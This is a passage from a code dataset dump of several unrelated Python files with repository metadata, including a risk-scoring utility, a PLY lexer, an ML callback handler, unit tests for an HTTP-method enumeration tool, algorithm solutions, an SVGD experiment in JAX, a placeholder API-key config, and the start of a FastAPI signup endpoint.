kq3['ketqua2'] = 'trondoi'\r\n elif kq2['ketqua1'] == spchinh1 and 30 < age <= 45:\r\n kq3['ketqua1'] = 25\r\n kq3['ketqua2'] = 40\r\n elif kq2['ketqua1'] == spchinh1 and 45 < age <= 55:\r\n kq3['ketqua1'] = 15\r\n kq3['ketqua2'] = 25\r\n elif kq2['ketqua1'] == spchinh1 and 55 < age <= 65:\r\n kq3['ketqua1'] = 5\r\n kq3['ketqua2'] = 10\r\n elif kq2['ketqua1'] == spchinh2 and age <= 30:\r\n kq3['ketqua1'] = 15\r\n kq3['ketqua2'] = 20\r\n elif kq2['ketqua1'] == spchinh2 and 30 < age <= 45:\r\n kq3['ketqua1'] = 10\r\n kq3['ketqua2'] = 15 \r\n elif kq2['ketqua1'] == spchinh2 and 45 < age <= 60:\r\n kq3['ketqua1'] = 5\r\n kq3['ketqua2'] = 10 \r\n elif kq2['ketqua1'] == spchinh2 and 60 < age <= 65:\r\n kq3['ketqua1'] = 1\r\n kq3['ketqua2'] = 5\r\n elif kq2['ketqua1'] == spchinh3 and age <= 30:\r\n kq3['ketqua1'] = 15\r\n kq3['ketqua2'] = 25\r\n elif kq2['ketqua1'] == spchinh3 and 30 < age <= 45:\r\n kq3['ketqua1'] = 10\r\n kq3['ketqua2'] = 20\r\n elif kq2['ketqua1'] == spchinh3 and 45 < age <= 55:\r\n kq3['ketqua1'] = 10\r\n kq3['ketqua2'] = 15\r\n elif kq2['ketqua1'] == spchinh3 and 55 < age <= 65:\r\n kq3['ketqua1'] = 5\r\n kq3['ketqua2'] = 10\r\n elif kq2['ketqua1'] == spchinh4 and 0 < age_baby <= 5:\r\n kq3['ketqua1'] = 17\r\n kq3['ketqua2'] = 22\r\n elif kq2['ketqua1'] == spchinh4 and 5 < age_baby <= 12:\r\n kq3['ketqua1'] = 11\r\n kq3['ketqua2'] = 16\r\n elif sex == gioitinh1 and kq2['ketqua1'] == spchinh5 and age <= 30:\r\n kq3['ketqua1'] = 15\r\n kq3['ketqua2'] = 30\r\n elif sex == gioitinh1 and kq2['ketqua1'] == spchinh5 and 30 < age <= 45:\r\n kq3['ketqua1'] = 15\r\n kq3['ketqua2'] = 25\r\n elif sex == gioitinh1 and kq2['ketqua1'] == spchinh5 and 45 < age <= 55:\r\n kq3['ketqua1'] = 5\r\n kq3['ketqua2'] = 15\r\n elif sex == gioitinh1 and kq2['ketqua1'] == spchinh5 and 55 < age <= 65:\r\n kq3['ketqua1'] = 5\r\n kq3['ketqua2'] = 10\r\n elif sex == gioitinh2 and kq2['ketqua1'] == spchinh5 and age <= 30:\r\n kq3['ketqua1'] = 15\r\n kq3['ketqua2'] = 25\r\n elif sex == gioitinh2 and kq2['ketqua1'] == spchinh5 and 30 < age <= 45:\r\n kq3['ketqua1'] = 10\r\n kq3['ketqua2'] = 20\r\n elif sex == gioitinh2 and kq2['ketqua1'] == spchinh5 and 45 < age <= 55:\r\n kq3['ketqua1'] = 5\r\n kq3['ketqua2'] = 15\r\n elif sex == gioitinh2 and kq2['ketqua1'] == spchinh5 and 55 < age <= 65:\r\n kq3['ketqua1'] = 5\r\n kq3['ketqua2'] = 10\r\n return kq3\r\n\r\ndef get_risk_total(interested, chance, think, want, investment_funds):\r\n if interested == quantam1:\r\n kqquantam = 20\r\n elif interested == quantam2:\r\n kqquantam = 2 \r\n elif interested == quantam3:\r\n kqquantam = 5\r\n if chance == cohoi1:\r\n kqcohoi = 2\r\n elif chance == cohoi2:\r\n kqcohoi = 5\r\n elif chance == cohoi3:\r\n kqcohoi = 10 \r\n elif chance == cohoi4:\r\n kqcohoi = 20 \r\n if think == ruiro1:\r\n kqruiro = 2\r\n elif think == ruiro2:\r\n kqruiro = 10 \r\n elif think == ruiro3:\r\n kqruiro = 20\r\n elif think == ruiro4:\r\n kqruiro = 5\r\n if want == dautu1:\r\n kqdautu = 2\r\n elif want == dautu2:\r\n kqdautu = 5 \r\n elif want == dautu3:\r\n kqdautu = 10 \r\n elif want == dautu4:\r\n kqdautu = 20 \r\n if investment_funds == phantramtaisanruiro1:\r\n kqtaisanruiro = 2\r\n elif investment_funds == phantramtaisanruiro2:\r\n kqtaisanruiro = 5 \r\n elif investment_funds == phantramtaisanruiro3:\r\n kqtaisanruiro = 10 \r\n elif investment_funds == phantramtaisanruiro4:\r\n kqtaisanruiro = 20 \r\n return kqquantam + kqcohoi + kqruiro + kqdautu + kqtaisanruiro \r\n","repo_name":"letuananh123456/nemnuonghoale4","sub_path":"apps/robot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71492922435","text":"import ply.lex as lex;\n\n#Additional state for comments\nstates = ( ('comment', 'exclusive'),)\n\n#Tokens\ntokens = (\n 'VAR', 'BEGIN', 'END',\n\n 'ASSIGN',\n\n 'IF', 'THEN', 'ELSE', 'ENDIF',\n 'WHILE', 'DO', 'ENDWHILE',\n 'REPEAT','UNTIL',\n 'FOR', 'FROM', 'TO', 'DOWNTO', 'ENDFOR',\n\n 'PLUS', 'MINUS', 'TIMES', 'DIV', 'MOD',\n\n 'EQ', 'NEQ', 'LE','GE', 'LEQ', 'GEQ',\n\n 'NUM','PIDENTIFIER',\n\n 'COLON','SEMICOLON', 'COMMA',\n 'LB', 'RB', \n\n 'READ', 'WRITE'\n)\n\n# Rules\n\nt_VAR = r'VAR'\nt_BEGIN = r'BEGIN'\nt_END = r'END'\n\nt_ASSIGN = r'ASSIGN'\n\nt_IF = r'IF'\nt_THEN = r'THEN'\nt_ELSE = r'ELSE'\nt_ENDIF = r'ENDIF'\n\nt_REPEAT = r'REPEAT'\nt_UNTIL = r'UNTIL'\n\nt_WHILE = r'WHILE'\nt_DO = r'DO'\nt_ENDWHILE = r'ENDWHILE'\n\nt_FOR = r'FOR'\nt_FROM = r'FROM'\nt_TO = r'TO'\nt_DOWNTO = r'DOWNTO'\nt_ENDFOR = 'ENDFOR'\n\nt_PLUS = r'PLUS'\nt_MINUS = r'MINUS'\nt_TIMES = r'TIMES'\nt_DIV = r'DIV'\nt_MOD = r'MOD'\n\nt_EQ = r'EQ'\nt_NEQ = r'NEQ'\nt_LE = r'LE'\nt_GE = r'GE'\nt_LEQ = r'LEQ'\nt_GEQ = r'GEQ'\n\nt_PIDENTIFIER = r'[_a-z]+'\n\nt_COLON = r':'\nt_SEMICOLON = r';'\nt_COMMA = r','\n\nt_LB = r'\\['\nt_RB = r'\\]'\n\nt_READ = r'READ'\nt_WRITE = r'WRITE'\n\n# Dealing with comments\n# Starts 'comment' state\ndef t_begin_comment(t):\n r'\\('\n t.lexer.begin('comment')\n pass\n\n# Ends 'comment' state\ndef t_comment_end(t):\n r'\\)'\n t.lexer.begin('INITIAL')\n pass\n\n# Annything in 'comment' state do nothing\ndef t_comment_any(t):\n r'.'\n pass\n\n# Providing value associated wuth the token too\ndef t_NUM(t):\n r'[-]?[0-9]+'\n t.value = int(t.value)\n return t\n\n# Getting line number\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n\n# To ignore whitespaces\nt_ignore = ' \\t'\n\n\ndef t_error(t) :\n print(\"Illegal character '%s'\" %t.value[0])\n t.lexer.skip(1)\n\ndef t_comment_error(t) :\n print(\"Illegal character in comment '%s'\" %t.value[0])\n t.lexer.skip(1)\n\n# Check later if that works too?\n#def t_ANY_error(t) :\n# print(\"Illegal character '%s'\" %t.value[0])\n# t.lexer.skip(1)","repo_name":"Nini200/Compiler","sub_path":"lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40501650275","text":"\"\"\"\nContainer for generic callbacks\n\"\"\"\nimport os\nimport importlib\nimport sys\nimport inspect\nfrom blip.utils.logger import Logger\nfrom blip.utils.callbacks import GenericCallback\nfrom blip.utils.utils import get_method_arguments\n\nclass CallbackHandler:\n \"\"\"\n \"\"\"\n\n def __init__(self,\n name: str,\n config: dict={},\n callbacks: list=[],\n meta: dict={}\n ):\n self.name = name + \"_callback_handler\"\n self.logger = Logger(self.name, output=\"both\", file_mode=\"w\")\n self.meta = meta\n if \"device\" in self.meta:\n self.device = self.meta['device']\n else:\n self.device = 'cpu'\n if meta['verbose']:\n self.logger = Logger(name, output=\"both\", file_mode=\"w\")\n else:\n self.logger = Logger(name, level='warning', file_mode=\"w\")\n\n if bool(config) and len(callbacks) != 0:\n self.logger.error(\n f\"handler received both a config and a list of callbacks! \" + \n f\"The user should only provide one or the other!\")\n elif bool(config):\n self.set_config(config)\n else:\n if len(callbacks) == 0:\n self.logger.warn(f\"handler received neither a config or callbacks!\")\n self.callbacks = {\n callback.name: callback \n for callback in callbacks\n } \n \n def set_config(self, config):\n self.config = config\n self.process_config()\n \n def collect_callbacks(self):\n self.available_callbacks = {}\n self.callback_files = [\n os.path.dirname(__file__) + '/' + file \n for file in os.listdir(path=os.path.dirname(__file__))\n ]\n self.callback_files.extend(self.meta['local_blip_files'])\n for callback_file in self.callback_files:\n if (\n (\"__init__.py\" in callback_file) or \n (\"__pycache__.py\" in callback_file) or \n (\"generic_callback.py\" in callback_file) or \n (\"__pycache__\" in callback_file) or\n (\".py\" not in callback_file)\n ):\n continue\n try:\n self.load_callback(callback_file)\n except:\n self.logger.warn(f'problem loading callback from file: {callback_file}')\n \n def load_callback(self,\n callback_file: str\n ):\n spec = importlib.util.spec_from_file_location(\n f'{callback_file.removesuffix(\".py\")}.name', \n callback_file\n )\n custom_callback_file = importlib.util.module_from_spec(spec)\n sys.modules[f'{callback_file.removesuffix(\".py\")}.name'] = custom_callback_file\n spec.loader.exec_module(custom_callback_file)\n for name, obj in inspect.getmembers(sys.modules[f'{callback_file.removesuffix(\".py\")}.name']):\n if inspect.isclass(obj):\n custom_class = getattr(custom_callback_file, name)\n if issubclass(custom_class, GenericCallback):\n self.available_callbacks[name] = custom_class\n\n def process_config(self):\n # list of available criterions\n self.collect_callbacks()\n # check config\n if \"custom_callback_file\" in self.config.keys():\n if os.path.isfile(self.config[\"custom_callback_file\"]):\n try:\n self.load_callback(self.config[\"custom_callback_file\"])\n self.logger.info(f'added custom callback function from file {self.config[\"custom_callback_file\"]}.')\n except:\n self.logger.error(\n f'loading classes from file {self.config[\"custom_callback_file\"]} failed!'\n )\n else:\n self.logger.error(f'custom_callback_file {self.config[\"custom_callback_file\"]} not found!')\n # process callback functions\n for item in self.config.keys():\n if item == \"custom_callback_file\":\n continue\n # check that callback function exists\n if item not in self.available_callbacks.keys():\n self.logger.error(\n f\"specified callback function '{item}' is not an available type! \" + \n f\"Available types:\\n{self.available_callbacks.keys()}\"\n )\n # check that function arguments are provided\n argdict = get_method_arguments(self.available_callbacks[item])\n for value in self.config[item].keys():\n if value not in argdict.keys():\n self.logger.error(\n f\"specified callback value '{item}:{value}' \" + \n f\"not a constructor parameter for '{item}'! \" + \n f\"Constructor parameters:\\n{argdict}\"\n )\n for value in argdict.keys():\n if argdict[value] == None:\n if value not in self.config[item].keys():\n self.logger.error(\n f\"required input parameters '{item}:{value}' \"+\n f\"not specified! Constructor parameters:\\n{argdict}\"\n )\n self.callbacks = {}\n for item in self.config.keys():\n if item == \"custom_callback_file\":\n continue\n self.callbacks[item] = self.available_callbacks[item](**self.config[item], meta=self.meta)\n self.logger.info(f'added callback function \"{item}\" to CallbackHandler.')\n\n def set_device(self,\n device\n ): \n for name, callback in self.callbacks.items():\n callback.set_device(device)\n callback.reset_batch()\n self.device = device\n\n def add_callback(self,\n callback: GenericCallback\n ):\n if issubclass(type(callback), GenericCallback):\n self.logger.info(f'added callback function \"{callback}\" to CallbackHandler.')\n self.callbacks[callback.name] = callback\n else:\n self.logger.error(\n f'specified callback {callback} is not a child of \"GenericCallback\"!' + \n f' Only callback functions which inherit from GenericCallback can' +\n f' be used by the callbackHandler in BLIP.'\n )\n \n def set_training_info(self,\n epochs: int,\n num_training_batches: int,\n num_validation_batches: int,\n num_test_batches: int,\n ):\n for name, callback in self.callbacks.items():\n callback.set_training_info(\n epochs,\n num_training_batches,\n num_validation_batches,\n num_test_batches\n )\n\n def evaluate_epoch(self,\n train_type='train',\n ):\n if train_type not in ['train', 'validation', 'test', 'all']:\n self.logger.error(f\"specified train_type: '{train_type}' not allowed!\")\n for name, callback in self.callbacks.items():\n callback.evaluate_epoch(train_type)\n\n def evaluate_training(self):\n for name, callback in self.callbacks.items():\n callback.evaluate_training()\n\n def evaluate_testing(self):\n for name, callback in self.callbacks.items():\n callback.evaluate_testing()\n \n def evaluate_inference(self):\n for name, callback in self.callbacks.items():\n callback.evaluate_inference()","repo_name":"Neutron-Calibration-in-DUNE/Blip","sub_path":"blip/utils/callbacks/callback_handler.py","file_name":"callback_handler.py","file_ext":"py","file_size_in_byte":7492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14303180753","text":"# -*- coding: utf-8 -*-\n\nfrom enum import Enum\n\n#\n# The kind of test run: Baseline A, Baseline B, or Challenge.\n#\nclass InitBaselineTypes(Enum):\n A = \"A\"\n Astar = \"A*\"\n B = \"B\"\n CHALLENGE = \"Challenge\"\n\n\n#\n# Which side of the house we're on.\n#\nclass SutTargetTypes(Enum):\n CPROG = \"Cprog\"\n DSLPROG = \"DSLprog\"\n\n\n#\n# The possible error codes.\n#\nclass SutErrorTypes(Enum):\n BAD_FILE = \"BADFILE\"\n TOOL_BUILD_FAILED = \"TOOL BUILD FAILED\"\n INSTALL_FAILED = \"INSTALL FAILED\"\n PROG_BUILD_FAILED = \"PROGRAM BUILD FAILED\"\n SYSTEM_BUILD_FAILED = \"SYSTEM BUILD FAILED\"\n VERIFICATION_FAILED = \"VERIFICATION FAILED\"\n CPROG_FAILED = \"CPROG FAILED\"\n SYNTH_FAILED = \"SYNTHESIS FAILED\"\n DISALLOWED_OPERATION = \"DISALLOWED_OPERATION\"\n\n\n#\n# The allowable status responses.\n#\nclass SutStatusTypes(Enum):\n PERTURBING_SYSTEM = \"PERTURBING SYSTEM\"\n SYSTEM_PERTURBED = \"SYSTEM PERTURBED\"\n BUILDING_SYSTEM = \"BUILDING SYSTEM\"\n SYSTEM_BUILT = \"SYSTEM BUILT\"\n COMPILING_PROGRAM = \"COMPILING PROGRAM\"\n RUNNING_PROGRAM = \"RUNNING PROGRAM\"\n RUNNING_KEEPALIVE = \"RUNNING KEEPALIVE\"\n VERIFYING_SYSTEM = \"VERIFYING SYSTEM\"\n VERIFICATION_KEEPALIVE = \"VERIFICATION KEEPALIVE\"\n","repo_name":"darpa-brass/cra-princess-cp3","sub_path":"CP2/cp2/sut/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18686729498","text":"import csv\r\nimport time\r\nimport serial\r\narduino_port = serial.Serial(port='COM3',baudrate=9600)\r\nbaud_rate=9600\r\ncurrentdatadoubleArr=[]\r\npowerdatadoubleArr=[]\r\n#WHILE EXECUTING PRESS CTRL C OR STOP EXECUTION TO PRINT AVERAGE ON CSV FILE\r\nprint(\"Execution started\")\r\nwhile True:\r\n with open('PowerMeasureResults.csv', 'a')as file:\r\n writer =csv.writer(file)\r\n\r\n try:\r\n\r\n data = arduino_port.readline()\r\n string_data = data.decode(\"utf-8\")\r\n powerdata = string_data.split(\",\")\r\n currentdatadouble = float(powerdata[0])\r\n powerdatadouble = float(powerdata[1])\r\n currentdatadoubleArr.append(currentdatadouble)\r\n powerdatadoubleArr.append(powerdatadouble)\r\n writer.writerow([time.strftime(\"%H:%M:%S\"),currentdatadouble,powerdatadouble])\r\n except ValueError:\r\n writer.writerow([\"TIME\",\"CURRENT\",\"POWER\"])\r\n\r\n print(\"DECLARATION LINE PASSED\")\r\n except KeyboardInterrupt:\r\n writer.writerow([\"AVERAGE\",\"CURRENT\",\"POWER\"])\r\n writer.writerow([\"\", sum(currentdatadoubleArr) / len(currentdatadoubleArr),\r\n sum(powerdatadoubleArr)/len(powerdatadoubleArr)])\r\n break\r\n\r\n","repo_name":"ozgunkarahan/CS350Project","sub_path":"power_measure.py","file_name":"power_measure.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18488325801","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport io\nimport sys\nimport unittest\nfrom unittest import mock\nfrom unittest.mock import MagicMock\nimport argparse\nimport pytest\nimport requests\nimport responses\n\nimport HTTPVerbs\nfrom HTTPVerbs import init_values\nfrom InputParserHTTPVerbs import __validate_input__ as validate_input\nfrom InputParserHTTPVerbs import __extract_tuple__ as extract_tuple\nfrom InputParserHTTPVerbs import parse_input\nfrom InputParserHTTPVerbs import __usage__ as usage\n\nclass DummyArgsParse:\n target=[\"0\"]\n port=[0]\n\nclass TestHTTPVerbs(unittest.TestCase):\n \"\"\"Tests for HTTVerbs. \"\"\"\n # ############# UNIT TESTS ################\n\n # ######### InputParserHTTPVerbs.py #######\n # test validate input with valid port\n def test_validate_input_valid_port(self):\n argList = []\n args = DummyArgsParse()\n args.target[0] = '1.2.3.4'\n args.port[0] = 69\n validate_input(args, None, argList)\n #with mock.patch.objectvalidate_input(mock_validate_input.args, mock_validate_input.parser, argList)\n assert argList[0] == ('target', '1.2.3.4')\n assert argList[1] == ('port', 69)\n\n # test validate input with invalid port < 0\n def test_validate_input_invalid_port(self):\n parser = mock.MagicMock('argparse.ArgumentParser')\n parser.print_help = mock.MagicMock('argparse.ArgumentParser.print_help', return_value=\"help me\")\n argList = []\n args = DummyArgsParse()\n args.target[0] = '1.2.3.4'\n args.port[0] = -1\n with pytest.raises(SystemExit):\n validate_input(args, parser, argList)\n\n # test validate input with invalid port > 65535\n def test_validate_input_invalid_port(self):\n parser = mock.MagicMock('argparse.ArgumentParser')\n parser.print_help = mock.MagicMock('argparse.ArgumentParser.print_help', return_value=\"help me\")\n argList = []\n args = DummyArgsParse()\n args.target[0] = '1.2.3.4'\n args.port[0] = 65536\n with pytest.raises(SystemExit):\n validate_input(args, parser, argList)\n\n # test extract tuple\n def test_extract_tuple(self):\n values = [(\"target\", \"1.2.3.4\"), (\"port\", 66)]\n assert extract_tuple(values) == (\"1.2.3.4\", 66)\n\n # test usage\n def test_usage(self):\n parser = mock.MagicMock('argparse.ArgumentParser')\n parser.print_help = mock.MagicMock('argparse.ArgumentParser.print_help', return_value=\"help me\")\n with pytest.raises(SystemExit):\n usage(parser)\n ######################################################################################################\n\n\n# ##### INTEGRATION TESTS #####\n # admin inputs target and port with valid values\n def test_input_parser_valid_values(self):\n args = [\"-t\", \"1.2.3.4\", \"-p\", \"3456\"]\n result = init_values(args)\n assert result == (\"1.2.3.4\", 3456)\n\n # admin inputs target and takes the default port 80\n def test_input_parser_valid_ip_default_port(self):\n args = [\"-t\", \"1.2.3.4\"]\n result = init_values(args)\n assert result == (\"1.2.3.4\", 80)\n\n # reads from stdout and compares with given content\n def get_invalid_output(self, func, args, content):\n cap = io.StringIO()\n sys.stdout = cap\n with pytest.raises(SystemExit):\n func(args)\n sys.stdout = sys.__stdout__\n assert content in cap.getvalue()\n assert \"usage:\" in cap.getvalue()\n\n # admin input invalid port\n def test_input_parser_invalid_port(self):\n args = [\"-t\", \"1.2.3.4\", \"-p\", \"-1\"]\n self.get_invalid_output(init_values, args, \"Port\")\n\n # admin doesn't know how to use the program.\n # he enters '-h' or '--help' to see the available options\n def test_show_help(self):\n args = [\"-h\"]\n self.get_invalid_output(init_values, args, \"\")\n\n # test get headers\n def test_get_headers(self):\n headers = HTTPVerbs.get_headers()\n assert \"user-agent\" in headers\n assert \"Mozilla\" in headers.get(\"user-agent\")\n\n # test get_base_url\n def test_get_url_without_dir(self):\n assert HTTPVerbs.get_base_url((\"127.0.0.1\",\n 111)) == \"http://127.0.0.1:111\"\n\n # admin wants to get all HTTP verbs his server is accepting.\n # He starts the program with the ip address and port of the webserver.\n # Webserver answers to OPTIONS with 200 OK and Allow: Header\n @responses.activate\n def test_parse_answer_server_providing_answer(self):\n responses.add(\n responses.OPTIONS,\n \"http://127.0.0.1:111\",\n headers={\"Allow\": \"GET, UPDATE, PATCH, DELETE, OPTIONS\"},\n status=200)\n cap = io.StringIO()\n sys.stdout = cap\n HTTPVerbs.get_options(('127.0.0.1', 111))\n sys.stdout = sys.__stdout__\n assert \"Allow: GET, UPDATE, PATCH, DELETE, OPTIONS\" in cap.getvalue()\n\n # admin wants to get all HTTP verbs his server is accepting.\n # He starts the program with the ip address and port of the webserver.\n # Webserver is not reachable.\n @responses.activate\n def test_parse_answer_server_unreachable(self):\n responses.add(\n responses.OPTIONS,\n \"http://127.0.0.1:111\",\n headers={\"Allow\": \"GET, UPDATE, PATCH, DELETE, OPTIONS\"},\n status=200)\n with pytest.raises(SystemExit):\n with pytest.raises(requests.exceptions.ConnectionError):\n HTTPVerbs.get_options(('127.0.0.1', 80))\n\n # admin wants to get all HTTP verbs his server is accepting.\n # He starts the program with the ip address and port of the webserver.\n # Webserver rejects OPTIONS. Need to enumerate Verbs.\n @responses.activate\n def test_options_http_server_with_answer_not_ok(self):\n responses.add(responses.OPTIONS, \"http://127.0.0.1:111\", status=405)\n responses.add(responses.GET, \"http://127.0.0.1:111\", status=200)\n responses.add(responses.HEAD, \"http://127.0.0.1:111\", status=200)\n responses.add(responses.POST, \"http://127.0.0.1:111\", status=200)\n responses.add(responses.PUT, \"http://127.0.0.1:111\", status=501)\n responses.add(responses.DELETE, \"http://127.0.0.1:111\", status=200)\n # responses.add(responses.CONNECT, \"http://127.0.0.1:111\", status=404)\n # responses.add(responses.TRACE, \"http://127.0.0.1:111\", status=404)\n responses.add(responses.PATCH, \"http://127.0.0.1:111\", status=405)\n cap = io.StringIO()\n sys.stdout = cap\n HTTPVerbs.get_options(('127.0.0.1', 111))\n sys.stdout = sys.__stdout__\n out = cap.getvalue()\n assert \"OPTIONS\" not in out\n assert \"PUT\" not in out\n # assert \"CONNECT\" not in out\n # assert \"TRACE\" not in out\n assert \"PATCH\" not in out\n assert \"GET\" in out\n assert \"HEAD\" in out\n assert \"POST\" in out\n assert \"DELETE\" in out\n","repo_name":"breakIT-Hub/HTTPVerbs","sub_path":"TestHTTPVerbs.py","file_name":"TestHTTPVerbs.py","file_ext":"py","file_size_in_byte":6970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23548164811","text":"def inv(S):\n res = \"\"\n for i in S:\n if i == \"-\":\n res += \"+\"\n else:\n res += \"-\"\n return res\n\nT = int(input())\nfor j in range(T):\n pan, S= input().split()\n S = int(S)\n out = 0\n for i in range(len(pan) - S + 1):\n if pan[i] == \"-\":\n pan = pan[:i] + inv(pan[i:i+S]) + pan[i+S:]\n out += 1\n\n print(\"Case #{}:\".format(j+1), end = \" \")\n if \"-\" in pan:\n print(\"IMPOSSIBLE\")\n else:\n print(out)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/42.py","file_name":"42.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73646846273","text":"\"\"\"\nhttps://atcoder.jp/contests/dp/tasks/dp_b\n\"\"\"\nimport sys\n\nN,K = [int(i) for i in sys.stdin.readline().split(\" \")]\narr = [int(i) for i in sys.stdin.readline().split(\" \")]\n\ndef getMinSteps():\n i = 1\n dp = []\n dp.append({0,})\n while i < N:\n dp.append(set())\n\n for m in range(i-1, i - min(i, K) - 1, -1):\n temp = list(dp[m])\n for j in range(len(temp)):\n dp[i].add(abs(arr[i] - arr[m]) + temp[j])\n dp[i] = sorted(dp[i])[0:K]\n i += 1\n return min(dp[-1])\n\n \nsys.stdout.write(str(getMinSteps()))","repo_name":"jai-singhal/dsa","sub_path":"algorithms/dp/atcoder/frog2_approach1.py","file_name":"frog2_approach1.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23006683895","text":"import jax.numpy as np\nfrom jax.config import config\nfrom jax.experimental import optimizers\nfrom jax import grad, jit, vmap\n\nimport numpy as npn\nimport numpy.matlib as nm\n\nfrom functools import partial\n\ndef lnprob(theta):\n return -1*np.matmul(theta-nm.repmat(mu, theta.shape[0], 1), A)\n\ndef gram(kernel, xs):\n return vmap(lambda x: vmap(lambda y: kernel(x, y))(xs))(xs)\n\ndef rbf(x, y):\n return np.exp(-np.sum((x - y)**2))\n\ndef svgd_kernel(theta):\n Kxy = gram(rbf, theta)\n k_grad = grad(rbf)\n return Kxy, k_grad(theta, theta)\n\n@jit\ndef step(i, opt_state, theta):\n lnpgrad = lnprob(theta)\n kxy, dxkxy = svgd_kernel(theta)\n grad_theta = (np.matmul(kxy, lnpgrad) + dxkxy) / theta.shape[0] \n \n return opt_update(i, -grad_theta, opt_state)\n\n### Parameters \nA = np.array([[0.2260,0.1652],[0.1652,0.6779]])\nmu = np.array([-0.21,0.9010])\nx0 = npn.random.normal(0,1, [10,2]);\n\nprint(mu, 'ground truth')\n\nstep_size = 1e-2\nalpha = 0.9\n\n### Jax\n\ntheta = npn.copy(x0)\nopt_init, opt_update, get_params = optimizers.adagrad(step_size=step_size, momentum=alpha)\nopt_state = opt_init(theta)\n\nfor iter in range(1000):\n theta = get_params(opt_state)\n opt_state = step(iter, opt_state, theta)\n\nprint(np.mean(get_params(opt_state), axis=0), 'jax')\n\n### Manual Adagrad \n\ntheta = npn.copy(x0)\nfudge_factor = 1e-6\nhistorical_grad = 0\n\nfor iter in range(1000): \n lnpgrad = lnprob(theta)\n # calculating the kernel matrix\n kxy, dxkxy = svgd_kernel(theta) \n grad_theta = (np.matmul(kxy, lnpgrad) + dxkxy) / x0.shape[0]\n\n # if iter % 100 == 0: print(np.mean(theta, axis=0))\n \n # adagrad \n if iter == 0:\n historical_grad = historical_grad + grad_theta ** 2\n else:\n historical_grad = alpha * historical_grad + (1 - alpha) * (grad_theta ** 2)\n adj_grad = npn.divide(grad_theta, fudge_factor+np.sqrt(historical_grad))\n theta = theta + step_size * adj_grad \n\nprint(np.mean(theta, axis=0), 'manual')\n","repo_name":"bhairavmehta95/svgd-jax","sub_path":"jax-implementation.py","file_name":"jax-implementation.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"36337167126","text":"\"\"\"\nThere are a total of n courses you have to take, labeled from 0 to n-1.\n\nSome courses may have prerequisites, for example to take course 0 you have to first take course 1, which is expressed as a pair: [0,1]\n\nGiven the total number of courses and a list of prerequisite pairs, is it possible for you to finish all courses?\n\nTime: O(E+V)\nSpace: O(E*V)\n\"\"\"\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n self.graph = [ [] for _ in range(numCourses)]\n self.visited = [0 for _ in range(numCourses)]\n \n for cur,pre in prerequisites:\n self.graph[cur].append(pre)\n for course in range(numCourses):\n if not self.dfs(course):\n return False\n return True\n def dfs(self, cur):\n if self.visited[cur] == -1:\n return False\n elif self.visited[cur] == 1:\n return True\n self.visited[cur] = -1\n for pre_req in self.graph[cur]:\n if not self.dfs(pre_req):\n return False\n self.visited[cur] = 1\n return True\n","repo_name":"CheRayLiu/LeetCode","sub_path":"medium/course_schedule.py","file_name":"course_schedule.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30273998647","text":"# Twitter developer account keys\r\napi_key = \"tweepyapikey\"\r\napi_secret_key = \"tweepyapisecretkey\"\r\n\r\n# set access keys\r\naccess_key = \"tweepyaccesskey\"\r\naccess_key_secret = \"tweepyaccesssecretkey\"\r\n\r\n# Binance keys\r\nbinance_api_key = \"yourbinanceapikey\"\r\nbinance_secret_key = \"yourbinancesecretkey\"\r\n","repo_name":"theIsmail01/elon-trading-bot","sub_path":"ElonTradingBot/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73125686913","text":"import click\n\nimport uvicorn\nfrom fastapi.security import HTTPBasic, HTTPBasicCredentials\nfrom core.user_management import UserManagement\nfrom fastapi import FastAPI, HTTPException, Depends\nfrom fastapi.security import HTTPBasic, HTTPBasicCredentials, HTTPBearer, HTTPAuthorizationCredentials\nfrom fastapi.middleware.cors import CORSMiddleware\n\nfrom datetime import datetime\n\nfrom core.db import *\n\nfrom models.trips import *\nfrom models.user_base import *\nfrom models.basic_models import *\n\napp = FastAPI()\nsecurity = HTTPBasic()\nbearer_security = HTTPBearer()\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\n@app.post(\"/signup\")\ndef signup(user: UserIn, session=Depends(get_db)) -> ActionSuccessResponse:\n \"\"\"\n Create a new user account.\n\n This function creates a new user by adding a record to the `users` table.\n\n Args:\n - user (UserIn): A model containing the new user's username and password.\n - session (sqlalchemy.orm.session.Session): The SQLAlchemy database session.\n\n Returns:\n dict: A dictionary containing a success message.\n\n Raises:\n HTTPException: If the provided username is already taken.\n \"\"\"\n existing_user = UserManagement.get_user(session, user.username)\n if existing_user:\n raise HTTPException(status_code=400, detail=\"Username already exists\")\n UserManagement.create_user(\n session, user.username, user.password, user.full_name)\n return 